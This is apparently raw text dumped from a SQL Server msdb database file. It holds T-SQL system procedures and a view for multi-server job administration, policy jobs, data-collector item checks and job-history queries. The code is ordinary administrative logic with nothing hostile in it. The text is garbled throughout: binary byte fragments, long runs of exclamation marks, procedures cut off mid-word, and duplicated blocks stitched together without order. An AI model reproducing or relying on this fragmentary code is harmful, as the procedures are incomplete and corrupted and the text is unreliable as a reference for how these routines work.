  FROM msdb.dbo.sysdownloadlist
  WHERE (status = 0)
  GROUP BY target_server

  SELECT sts.server_id,
         sts.server_name,
         sts.location,
         sts.time_zone_adjustment,
         sts.enlist_date,
         sts.last_poll_date,
        'status' = sts.status |
                   CASE WHEN DATEDIFF(ss, sts.last_poll_date, GETDATE()) > (3 * sts.poll_interval) THEN 0x2 ELSE 0 END |
                   CASE WHEN ((SELECT COUNT(*)
                               FROM msdb.dbo.sysdownloadlist sdl
                               WHERE (sdl.target_server = sts.server_name)
                                 AND (sdl.error_message IS NOT NULL)) > 0) THEN 0x4 ELSE 0 END,
        'unread_instructions' = ISNULL(ui.unread_instructions, 0),
        'local_time' = DATEADD(SS, DATEDIFF(SS, sts.last_poll_date, GETDATE()), sts.local_time_at_last_poll),
        sts.enlisted_by_nt_user,
        sts.poll_interval
  FROM msdb.dbo.systargetservers sts LEFT OUTER JOIN
       @unread_instructions      ui  ON (sts.server_name = ui.target_server)
  WHERE ((@server_name IS NULL) OR (UPPER(sts.server_name) = @server_name))
  ORDER BY server_name

  RETURN(@@error) -- 0 means success
END
0
7) +8(getdate())0C[* /8(suser_sname())0|+ %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j`(<Q)KX0+ 8CREATE PROCEDURE sp_resync_targetserver
  @server_name sysname
AS
BEGIN
  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = LTRIM(RTRIM(@server_name))

  IF (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) <> N'ALL')
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.systargetservers
                    WHERE (UPPER(server_name) = UPPER(@server_name))))
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END

    -- We want the target server to:
    -- a) delete all their current MSX jobs, and
    -- b) download all their jobs again.
    -- So we delete all the current instructions and post a new set
    DELETE FROM msdb.dbo.sysdownloadlist
    WHERE (target_server = @server_name)
    EXECUTE msdb.dbo.sp_post_msx_operation 'DELETE', 'JOB', 0x00, @server_name
    EXECUTE msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', 0x00, @server_name
  END
  ELSE
  BEGIN
    -- We want ALL target servers to:
    -- a) delete all their current MSX jobs, and
    -- b) download all their jobs again.
    -- So we delete all the current instructions and post a new set
    TRUNCATE TABLE msdb.dbo.sysdownloadlist
    EXECUTE msdb.dbo.sp_post_msx_operation 'DELETE', 'JOB', 0x00, NULL
    EXECUTE msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', 0x00, NULL
  END

  RETURN(@@error) -- 0 means success
END
07, 	8CREATE PROCEDURE [dbo].[sp_syspolicy_create_job] 
@schedule_uid uniqueidentifier,
@is_enabled bit = 0,
@jobID uniqueidentifier OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @job_name sysname

	-- create unique job name
	SET @job_name = N'syspolicy_check_schedule_' + LEFT(CONVERT(nvarchar(100), @schedule_uid), 100) 
	WHILE (EXISTS (SELECT * FROM msdb..sysjobs WHERE name = @job_name))
	BEGIN
		SET @job_name = N'syspolicy_check_schedule_' + LEFT(CONVERT(nvarchar(91), @schedule_uid), 91) + '_' + RIGHT(STR(FLOOR(RAND() * 100000000)),8) 
	END

	EXEC  msdb.dbo.sp_add_job @job_name=@job_name, 
			@enabled=@is_enabled, 
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@category_id=0, -- [Uncategorized (Local)]
			@job_id = @jobID OUTPUT

	EXEC msdb.dbo.sp_add_jobserver @job_name=@job_name, @server_name = @@servername

    EXEC msdb.dbo.sp_add_jobstep 
            @job_id=@jobID, 
			@step_name=N'Verify that automation is enabled.', 
		    @step_id=1, 
		    @cmdexec_success_code=0, 
		    @on_fail_action=1, 
		    @on_fail_step_id=0, 
		    @retry_attempts=0, 
		    @retry_interval=0, 
		    @os_run_priority=0, 
		    @subsystem=N'TSQL', 
		    @command=N'IF (msdb.dbo.fn_syspolicy_is_automation_enabled() != 1)
        BEGIN
            RAISERROR(34022, 16, 1)
        END', 
		    @database_name=N'master', 
		    @flags=0

	DECLARE @command nvarchar(max)
	SET @command = [dbo].[fn_syspolicy_get_ps_command] (@schedule_uid)

	EXEC msdb.dbo.sp_add_jobstep 
            @job_id=@jobID, 
			@step_name=N'Evaluate policies.', 
			@step_id=2, 
			@cmdexec_success_code=0, 
			@on_success_action=1, 
			@on_fail_action=2, 
			@retry_attempts=0, 
			@retry_interval=0, 
			@os_run_priority=0, 
			@subsystem=N'PowerShell', 
			@command=@command, 
			@flags=0

    EXEC msdb.dbo.sp_update_jobstep 
            @job_id = @jobID, 
            @step_id = 1, 
            @on_success_action=4, 
            @on_success_step_id=2 

	DECLARE @schedule_id int
	SELECT @schedule_id = schedule_id from msdb.dbo.sysschedules where schedule_uid = @schedule_uid

	EXEC msdb.dbo.sp_attach_schedule @job_name = @job_name, @schedule_id = @schedule_id
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`|/<Z*L4<}0B. P8CREATE DEFAULT default_sdl_error_message AS NULL0'. ~8(NOT ([recipients] IS NULL AND [copy_recipients] IS NULL AND [blind_copy_recipients] IS NULL))0p. H8('00000000-0000-0000-0000-000000000000')0;. 8CREATE PROCEDURE [dbo].[sp_syscollector_verify_collection_item]
    @collection_item_id        int = NULL OUTPUT,
    @name                    sysname = NULL OUTPUT
AS
BEGIN
    IF (@name IS NOT NULL)
    BEGIN
        -- Remove any leading/trailing spaces from parameters
        SET @name                    = NULLIF(LTRIM(RTRIM(@name)), N'')
    END

    IF (@collection_item_id IS NULL AND @name IS NULL)
    BEGIN
        RAISERROR(14624, -1, -1, '@collection_item_id, @name')
        RETURN(1)
    END

    IF (@collection_item_id IS NOT NULL AND @name IS NOT NULL)
    BEGIN
        IF (NOT EXISTS(SELECT *
                        FROM dbo.syscollector_collection_items
                        WHERE collection_item_id = @collection_item_id
                        AND name = @name))
        BEGIN
            DECLARE @errMsg NVARCHAR(196)
            SELECT @errMsg = CONVERT(NVARCHAR(36), @collection_item_id) + ', ' + @name
            RAISERROR(14262, -1, -1, '@collection_item_id, @name', @errMsg)
            RETURN(1)
        END
    END
    -- Check id
    ELSE IF (@collection_item_id IS NOT NULL)
    BEGIN
        SELECT @name = name
        FROM dbo.syscollector_collection_items
        WHERE (collection_item_id = @collection_item_id)
    
        -- the view would take care of all the permissions issues.
        IF (@name IS NULL) 
        BEGIN
            DECLARE @collection_item_id_as_char VARCHAR(36)
            SELECT @collection_item_id_as_char = CONVERT(VARCHAR(36), @collection_item_id)
            RAISERROR(14262, -1, -1, '@collection_item_id', @collection_item_id_as_char)
            RETURN(1) -- Failure
        END
    END
    -- Check name
    ELSE IF (@name IS NOT NULL)
    BEGIN
        -- get the corresponding collection_item_id (if the collection_item exists)
        SELECT @collection_item_id = collection_item_id
        FROM dbo.syscollector_collection_items
        WHERE (name = @name)

        -- the view would take care of all the permissions issues.
        IF (@collection_item_id IS NULL)
        BEGIN
            RAISERROR(14262, -1, -1, '@name', @name)
            RETURN(1) -- Failure
        END
    END
    RETURN (0)
END
0ݐ. <8   CREATE VIEW dbo.sysutility_ucp_instances
   AS
   SELECT [urn]
, [powershell_path]   
, [processing_time]
, [batch_time] AS [collection_time]
, [AuditLevel]
, [BackupDirectory]
, [BrowserServiceAccount]
, [BrowserStartMode]
, [BuildClrVersionString]
, [BuildNumber]
, [Collation]
, [CollationID]
, [ComparisonStyle]
, [ComputerNamePhysicalNetBIOS]
, [DefaultFile]
, [DefaultLog]
, [Edition]
, [EngineEdition]
, [ErrorLogPath]
, [FilestreamShareName]
, [InstallDataDirectory]
, [InstallSharedDirectory]
, [InstanceName]
, [IsCaseSensitive]
, [IsClustered]
, [IsFullTextInstalled]
, [IsSingleUser]
, [Language]
, [MailProfile]
, [MasterDBLogPath]
, [MasterDBPath]
, [MaxPrecision]
, [Name]
, [NamedPipesEnabled]
, [NetName]
, [NumberOfLogFiles]
, [OSVersion]
, [PerfMonMode]
, [PhysicalMemory]
, [Platform]
, [Processors]
, [ProcessorUsage]
, [Product]
, [ProductLevel]
, [ResourceVersionString]
, [RootDirectory]
, [ServerType]
, [ServiceAccount]
, [ServiceInstanceId]
, [ServiceName]
, [ServiceStartMode]
, [SqlCharSet]
, [SqlCharSetName]
, [SqlDomainGroup]
, [SqlSortOrder]
, [SqlSortOrderName]
, [Status]
, [TapeLoadWaitTime]
, [TcpEnabled]
, [VersionMajor]
, [VersionMinor]
, [VersionString] 
   FROM dbo.syn_sysutility_ucp_smo_servers;
erators so1  ON (sjh.operator_id_emailed = so1.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so2  ON (sjh.operator_id_netsent = so2.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so3  ON (sjh.operator_id_paged = so3.id),
     msdb.dbo.sysjobs_view                 sj
  WHERE (sj.job_id = sjh.job_id)
  AND ((@job_id               IS NULL) OR (@job_id = sjh.job_id))
  AND ((@step_id              IS NULL) OR (@step_id = sjh.step_id))
  AND ((@sql_message_id       IS NULL) OR (@sql_message_id = sjh.sql_message_id))
  AND ((@sql_severity         IS NULL) OR (@sql_severity = sjh.sql_severity))
  AND ((@start_run_date       IS NULL) OR (sjh.run_date >= @start_run_date))
  AND ((@end_run_date         IS NULL) OR (sjh.run_date <= @end_run_date))
  AND ((@start_run_time       IS NULL) OR (sjh.run_time >= @start_run_time))
  AND ((@end_run_time         IS NULL) OR (sjh.run_time <= @end_run_time))
  AND ((@minimum_run_duration IS NULL) OR (sjh.run_duration >= @minimum_run_duration))
  AND ((@run_status           IS NULL) OR (@run_status = sjh.run_status))
  AND ((@minimum_retries      IS NULL) OR (sjh.retries_attempted >= @minimum_retries))
  AND ((@server               IS NULL) OR (sjh.server = @server))
  ORDER BY (sjh.instance_id * @order_by)

0'. ~8(NOT ([recipients] IS NULL AND [copy_recipients] IS NULL AND [blind_copy_recipients] IS NULL))0`/ 8(((datalength(isnull([recipients],''))+datalength(isnull([copy_recipients],'')))+datalength(isnull([blind_copy_recipients],'')))<>(0))0p. H8('00000000-0000-0000-0000-000000000000')06e/ 48('All ad-hoc plans')0;. 8CREATE PROCEDURE [dbo].[sp_syscollector_verify_collection_item]
    @collection_item_id        int = NULL OUTPUT,
    @name                    sysname = NULL OUTPUT
AS
BEGIN
    IF (@name IS NOT NULL)
    BEGIN
        -- Remove any leading/trailing spaces from parameters
        SET @name                    = NULLIF(LTRIM(RTRIM(@name)), N'')
    END

    IF (@collection_item_id IS NULL AND @name IS NULL)
    BEGIN
        RAISERROR(14624, -1, -1, '@collection_item_id, @name')
        RETURN(1)
    END

    IF (@collection_item_id IS NOT NULL AND @name IS NOT NULL)
    BEGIN
        IF (NOT EXISTS(SELECT *
                        FROM dbo.syscollector_collection_items
                        WHERE collection_item_id = @collection_item_id
                        AND name = @name))
        BEGIN
            DECLARE @errMsg NVARCHAR(196)
            SELECT @errMsg = CONVERT(NVARCHAR(36), @collection_item_id) + ', ' + @name
            RAISERROR(14262, -1, -1, '@collection_item_id, @name', @errMsg)
            RETURN(1)
        END
    END
    -- Check id
    ELSE IF (@collection_item_id IS NOT NULL)
    BEGIN
        SELECT @name = name
        FROM dbo.syscollector_collection_items
        WHERE (collection_item_id = @collection_item_id)
    
        -- the view would take care of all the permissions issues.
        IF (@name IS NULL) 
        BEGIN
            DECLARE @collection_item_id_as_char VARCHAR(36)
            SELECT @collection_item_id_as_char = CONVERT(VARCHAR(36), @collection_item_id)
            RAISERROR(14262, -1, -1, '@collection_item_id', @collection_item_id_as_char)
            RETURN(1) -- Failure
        END
    END
    -- Check name
    ELSE IF (@name IS NOT NULL)
    BEGIN
        -- get the corresponding collection_item_id (if the collection_item exists)
        SELECT @collection_item_id = collection_item_id
        FROM dbo.syscollector_collection_items
        WHERE (name = @name)

        -- the view would take care of all the permissions issues.
        IF (@collection_item_id IS NULL)
        BEGIN
            RAISERROR(14262, -1, -1, '@name', @name)
            RETURN(1) -- Failure
        END
    END
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^9`
.v`)|<+L&(0- 8CREATE PROCEDURE sp_help_jobhistory_full
               @job_id               UNIQUEIDENTIFIER,
               @job_name             sysname,
               @step_id              INT,
               @sql_message_id       INT,
               @sql_severity         INT,
               @start_run_date       INT,
               @end_run_date         INT,
               @start_run_time       INT,
               @end_run_time         INT,
               @minimum_run_duration INT,
               @run_status           INT,
               @minimum_retries      INT,
               @oldest_first         INT,
               @server               sysname,
               @mode                 VARCHAR(7),
               @order_by             INT,
               @distributed_job_history BIT
AS
BEGIN
-- First save the current transaction isolation level
DECLARE @TRANSACTION_ISOLATION_LEVEL INT
SELECT @TRANSACTION_ISOLATION_LEVEL = transaction_isolation_level FROM sys.dm_exec_sessions where session_id = @@SPID
-- If the isolation level is not known, do nothing!
IF @TRANSACTION_ISOLATION_LEVEL >0 AND @TRANSACTION_ISOLATION_LEVEL < 6
BEGIN
  -- Set transaction isolation level to READ UNCOMMITTED 
  --  This will ensure that we can still read the history even if the rows are locked by the TABLOCKX operation on the history row limiter
  SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
END

IF(@distributed_job_history = 1)
  SELECT null as instance_id, 
     sj.job_id,
     job_name = sj.name,
     null as step_id,
     null as step_name,
     null as sql_message_id,
     null as sql_severity,
     sjh.last_outcome_message as message,
     sjh.last_run_outcome as run_status,
     sjh.last_run_date as run_date,
     sjh.last_run_time as run_time,
    sjh.last_run_duration as run_duration,
     null as operator_emailed,
     null as operator_netsentname,
     null as operator_paged,
     null as retries_attempted,
     sts.server_name as server
  FROM msdb.dbo.sysjobservers                sjh
  JOIN msdb.dbo.systargetservers sts ON (sts.server_id = sjh.server_id)
  JOIN msdb.dbo.sysjobs_view     sj  ON(sj.job_id = sjh.job_id)
  WHERE 
  (@job_id = sjh.job_id)
  AND ((@start_run_date       IS NULL) OR (sjh.last_run_date >= @start_run_date))
  AND ((@end_run_date         IS NULL) OR (sjh.last_run_date <= @end_run_date))
  AND ((@start_run_time       IS NULL) OR (sjh.last_run_time >= @start_run_time))
  AND ((@minimum_run_duration IS NULL) OR (sjh.last_run_duration >= @minimum_run_duration))
  AND ((@run_status           IS NULL) OR (@run_status = sjh.last_run_outcome))
  AND ((@server               IS NULL) OR (sts.server_name = @server))
ELSE
  SELECT sjh.instance_id, -- This is included just for ordering purposes
     sj.job_id,
     job_name = sj.name,
     sjh.step_id,
     sjh.step_name,
     sjh.sql_message_id,
     sjh.sql_severity,
     sjh.message,
     sjh.run_status,
     sjh.run_date,
     sjh.run_time,
     sjh.run_duration,
     operator_emailed = so1.name,
     operator_netsent = so2.name,
     operator_paged = so3.name,
     sjh.retries_attempted,
     sjh.server
  FROM msdb.dbo.sysjobhistory                sjh
     LEFT OUTER JOIN msdb.dbo.sysoperators so1  ON (sjh.operator_id_emailed = so1.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so2  ON (sjh.operator_id_netsent = so2.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so3  ON (sjh.operator_id_paged = so3.id),
     msdb.dbo.sysjobs_view sj
  WHERE (sj.job_id = sjh.job_id)
  AND ((@job_id               IS NULL) OR (@job_id = sjh.job_id))
  AND ((@step_id              IS NULL) OR (@step_id = sjh.step_id))
  AND ((@sql_message_id       IS NULL) OR (@sql_message_id = sjh.sql_message_id))
  AND ((@sql_severity         IS NULL) OR (@sql_severity = sjh.sql_severity))
  AND ((@start_run_date       IS NULL) OR (sjh.run_date >= @start_run_date))
  AND ((@end_run_date         IS NULL) OR (sjh.run_date <= @end_run_date))
  AND ((@start_run_time       IS NULL) OR (sjh.run_time >= @start_run_time))
  AND ((@end_run_time         IS NULL) OR (sjh.run_time <= @end_run_time))
  AND ((@minimum_run_duration IS NULL) OR (sjh.run_duration >= @minimum_run_duration))
  AND ((@run_status           IS NULL) OR (@run_status = sjh.run_status))
  AND ((@minimum_retries      IS NULL) OR (sjh.retries_attempted >= @minimum_retries))
  AND ((@server               IS NULL) OR (sjh.server = @server))
  ORDER BY (sjh.instance_id * @order_by)

-- Revert the isolation level
IF @TRANSACTION_ISOLATION_LEVEL = 1
  SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
ELSE IF @TRANSACTION_ISOLATION_LEVEL = 2
  SET TRANSACTION ISOLATION LEVEL READ COMMITTED
ELSE IF @TRANSACTION_ISOLATION_LEVEL = 3
  SET TRANSACTION ISOLATION LEVEL REPEATABLE READ
ELSE IF @TRANSACTION_ISOLATION_LEVEL = 4
  SET TRANSACTION ISOLATION LEVEL SERIALIZABLE
ELSE IF @TRANSACTION_ISOLATION_LEVEL = 5
  SET TRANSACTION ISOLATION LEVEL SNAPSHOT

END

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!